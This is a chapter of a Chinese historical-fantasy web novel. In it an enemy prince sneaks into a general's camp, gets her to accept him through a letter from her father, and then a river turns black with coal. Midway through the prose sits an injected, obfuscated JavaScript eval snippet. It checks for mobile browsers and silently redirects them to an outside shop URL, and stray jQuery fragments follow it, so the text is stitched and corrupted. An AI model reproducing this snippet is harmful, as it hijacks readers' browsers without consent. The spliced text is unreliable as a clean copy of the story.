第一百七十章堂兄动情真挚认亲(三)
(蔻燎)
大睦士兵们发动力量搜索可疑之人,只要是面生的士兵都得揪过来给柳厢看,不多时就排了十几人。
但那大多数是柳宿山以前的驻扎士兵,全部有名有姓,记录在册,不是柳厢从百里京带来的人马,算不上是可疑。
直到最后一位身材魁梧,肌肉发达的高壮男子走到面前来,围着阿军一起吃鱼虾宴的士兵们同频率举手指认,激动得嗓子快哑了,“柳将军,就是他!就是他!是他跟阿军打过架!”
柳厢,俞冠楚,付庚重,阿阵,李施等人齐刷刷将视线挪了过去,不约而同噎了一噎,瞠目结舌。
乔琼乔玑,诲人不倦,木珥瑶,入画,岳兵棋的表情倒是波澜不惊,面前的人在他们眼里就是个俊美邪肆的大睦士兵罢了,不觉有他。
可在柳厢他们看来就不一样了,因为对面的士兵乃是一位久违的故人,沙戎楼。
沙戎楼!
他怎么混入大睦军营的?还搞了一套士兵甲胄和头盔,还抢了一把火铳挂在腰间?
未免过于嚣张跋扈,目中无人。
由于柳厢得到了百里皓质拨给她的新的大睦士兵,这些士兵大多数没有去过扬沙州,自然没见过沙漠里曾经的无垠国太子殿下沙戎楼的面貌。
柳厢咽了口唾沫,扫了俞冠楚和付庚重一眼,后面的两人皆是震惊的神情。
她盯着沙戎楼腰上的火铳,冷笑,“本将军就说乌夜啼之针不是寻常人能使的,果然是你。你独自一人到这里来,不会是想找死吧?”
气定神闲地笑了笑,目色睥睨桀骜,沙戎楼取下火铳把玩在手心,在众人舌挢不下的瞬间直直举起来瞄准柳厢的额心,邪笑道,“我舍不得离开我的好堂妹,当然得趋之若鹜跟着你来了。你能在螺髻山地,我为何不能来呢?好堂妹,你们杀死了我的父王,难道没有一丝愧疚吗?一丝也没有?”
“沙戎楼你住手!”俞冠楚心脏悬起,惴惴不安,怒喝道,“你再一次擅自离开扬沙州,不怕掉脑袋吗?把枪拿开!”
“那是我自己的事情,与你们无关!”
“沙戎楼,你想干什么?操,给老子放下火铳!”付庚重怒不可遏,命令身后的阿阵与大睦士兵端着火铳指向沙戎楼全身上下,只要对方敢开枪,他就接踵而至让其死得千疮百孔,四分五裂。
见几千人这么大阵仗包裹自己,沙戎楼有恃无恐,抖抖肩,眸子有意无意朝人群里的李施一瞥,幽幽道,“何故如此?我今儿是想与我的好堂妹相认,怎会舍得动手杀她?我就是跟她开个玩笑嘛,玩笑而已。唉,这火铳真是个好东西,沉甸甸的,手感绝佳,射一颗弹丸威力凶猛极了。呵,难怪你们能一举攻下我的国家。”
他将火铳慢吞吞收了起来,拿在手掌里掂了掂,笑容满面,走过去熟稔地揽过柳厢僵硬的肩膀,低下头颅,“牛香,我想明白了,与其和你作对,不如跟着你干一出大事业,你觉得呢?”
此言一出,俞冠楚和付庚重双双哑然,惊得下颌脱臼。
不等柳厢出言,沙戎楼迅疾自胸口掏出一封信纸递了过去,“你看看,我此行前来,是有人在背后肯定和支持的。人多眼杂,几千名士兵围着我们,别扭死了,你不考虑清一清场子吗?”
柳厢不搭理沙戎楼的话,挣开沙戎楼揽着自己的大手,低垂眼帘,展开信纸一瞄,一目十行。
下一秒,如遭晴天霹雳。
信上的字迹是她父亲关山隔所写,七拐八拐,歪来倒去,略显吃力,看样子还是不擅长书写大睦朝的字。
内容简简单单,一言蔽之,沙戎楼有悔过自新的想法,厢厢,给他一个机会,毕竟咱们“杀”过他的父亲沙山行。
更何况,无垠国也败在咱们手里。
“……”怒极而笑,柳厢使了眼色,让戚高,闰山两名副将把多余的大睦士兵和闲杂人等遣退,这才将书信丢给俞冠楚看。
俞冠楚看了后又给付庚重扫了一眼,柳俞付三人缄口不言,疑云迭起。
柳厢直勾勾瞪着沙戎楼,语气不善,“你又在玩什么花样?还搬出我的爹来,欺负他心软是不是?你哪来的脸?”
沙戎楼掀唇,漾出一股复杂的笑意。
将“死而复生”的沙山行运回扬沙州后,沙山行便隐姓埋名,以巫师名义代理扬沙州的事务,他失去武功,失去“生命”,失去权力,只能退居二线,处理琐碎政务。
而扬沙州经过数月的挖地工程,终于在王宫东边的一处宽阔沙地下挖出了新的地下水,解了扬沙州缺水的燃眉之急,再也不用天天等着风城里的绿洲之水供急,不乏为可喜可贺的一大喜事。
沙戎楼在扬沙州候了数月,等来了百里世模的消息,在百里世模的安排下,成功躲避贺笠的管控,逃到了大睦朝。
他风尘仆仆入了大睦朝的地界,一路打听,先去了风情寨,专门避开柳满宫,私自找关山隔求和。
涕泗横流,声情并茂地演了一场戏,说他的父亲沙山行后悔了,不该兄弟阋墙,他想让关山隔与沙山行两兄弟化干戈为玉帛,和好如初。
关山隔本就有愧于沙戎楼父子俩,那一决生死的荒唐事使他夜不能寐,担忧惊惧,得知沙山行还活着才堪堪松了一口气。
在沙戎楼的三寸不烂之舌的攻击下,关山隔答应给柳厢写了一封信,帮助沙戎楼去跟随柳厢,得到改邪归正的机会。
沙戎楼嗤笑道,“牛香,你怎能如此怀疑我?我现在是扬沙州的州主,我听命于大睦朝的皇帝陛下,一心一意,忠心耿耿,绝不二心。你呢,你是我的好堂妹,天天餐风饮露地过着艰苦的军营日子,我于心不忍啊。所以,我想帮你打败长河国,也算是表现一下我对你求和的真心。”
“你若真想帮本将军,何以动手毒害本将军的士兵?沙戎楼,你还是与以前一样,杀人如麻,不怜弱小。”
“他啊,那小子不听话,我就想要一个火铳而已,他屡屡出言不逊,率先动手,我自是忍不了他。牛香,不过你放心,只要你收下我,我不会再干这种事情,我指天发誓。”
“那你把乌夜啼的解药交给本将军,本将军不能让阿军因为你而死。”柳厢冥思苦想,敲定使用缓兵之计,暂时稳住千里迢迢追过来的沙戎楼,慢慢想办法让沙戎楼心服口服地滚回扬沙州,永不出来。
她怕直接告诉皇上百里皓质,沙戎楼跑到边境来了,会害死沙戎楼的性命,届时关山隔指定会气得一辈子吃素了。
嗤之以鼻,沙戎楼摸出一颗乌黑的丸子丢了过来,巧言道,“成,但是时间这么久了,能不能救活他,我可保证不了。”
得到解药的柳厢,赶忙让戚高把解药拿给阿军服下。
深呼吸几次,怒道,“沙戎楼,你最好别给本将军添乱,否则军法伺候!”
“牛香,你放心,我知道我此行的目的,不会无缘无故给你添麻烦,多谢你留下我,哈哈哈哈哈!”
沙戎楼眉山耸动,洋洋自得地笑了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14121089|124012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一场闹剧结束,阿军吃下解药,又在紫菀的推拿下吐出了腹中的毒水,在黎明来临之前转危为安。
为了让阿军安心养病,柳厢叫了两名大睦士兵利用李施的扁舟,把阿军送回了星宿山住着,病没好的话就不用跟着去战场。
此行此举,也避免沙戎楼对阿军再次暗下杀手,若让沙戎楼一朝得逞,那便回天乏术了。
沙戎楼混在军营的几天光阴里,柳厢去哪里他就屁颠屁颠地跟着去哪里,特别是柳厢钻入柳宿山的小黑屋之时,他的眼眸亮得反光,说是两颗烛火熊熊燃烧也不为过。
对此,俞冠楚与付庚重两人肩负起了监视作用,往往是柳厢的屁股后面有沙戎楼,沙戎楼的屁股后面有俞冠楚,付庚重。久而久之,他们的身影竟成了柳宿山的一大特色。
歇息不久,柳厢打定主意,准备在半月后继续攻打长河国。
在她研造火铳,燧发枪的弹丸时,一大睦士兵火急火燎地奔来,慌张道,“柳将军,不好了!弱水河的河水变黑了!有好几名士兵去河边饮了水就一直窜稀,窜到昏迷不醒了!柳将军,这该如何是好!”
弱水河的河水变黑?
莫不是有人在里面下毒了?
柳厢推开那士兵,足下飞跃蹿到弱水河畔,锁睛一瞧,原本澄澈洁净的河水目下黑得犹如墨汁,潺潺流动,无休无止,能完整地倒映出清晰的人影儿。
她把怀疑的星眸移向紧紧跟来的沙戎楼脸上,脱口而出,质问的声调,“是你干的?你到底下了什么毒?”
“冤枉啊。”
沙戎楼懵了,连忙摆手,戏谑道,“牛香,你总不能因为一件事就将什么黑锅都顶在我的头上吧?你哪只眼睛看见是我做的了?我为何要在河里下毒,我自己不喝河水了吗?更何况,这么大一条弱水河,得用多少毒才能把它染成如此颜色?你说是不是?”
一字一句,有理有据,无从降罪。
柳厢默然不语。
听到风声的俞冠楚,付庚重,木珥瑶,紫菀,岳兵棋走了过来,每人面色复杂,眉头紧锁。
紫菀拿葫芦瓢打了半瓢河水提到鼻尖一嗅,精致的娃娃脸皱成纸张样,她狠力把黑水一泼,严肃道,“这不是毒,是煤的味道。”
“煤?”
“嗯,煤。”
“紫菀医魔,你的意思是,这弱水河里有煤?就是冬日烧火用的煤?”
柳厢嘴巴张得能塞鸡蛋,自己舀了一瓢黑水闻了闻,将信将疑,“那方才士兵所言,喝了这些水的士兵昏迷不醒,这些河水真的无毒吗?”
“煤并非人能食用的,而且煤里面含了许多硫和各种有害杂质,入口难以消化,他们当然会腹泻难耐,昏迷不醒了。”
紫菀抱着药草娃娃,趣味盎然,圆溜溜的眼眸闪着光,“看来,弱水河底下埋了好东西,要是能把下面的煤全部挖出来,那得卖多少钱啊……可惜,弱水河常年水流不断,想挖下面的宝贝,难咯!”
弯弯曲曲的弱水河四面八方就是绵延的螺髻山地,螺髻山地上生满了茂密的林木,千百年来树木生了死,死了生,早就一层层堆累了千年。
随着地理环境的变动,待到今日,死去的树木尸体已然化为了地底深不可测的黑煤。
可为何先前没有出现,目下却骤然出现?还染黑了整片弱水河呢?
沉吟许久,摇着水墨扇的俞冠楚手指一顿,敛了敛黑目,忐忑地得出一个结论,“阿厢,若我没有猜错,螺髻山地不久之后会引发一场地震。”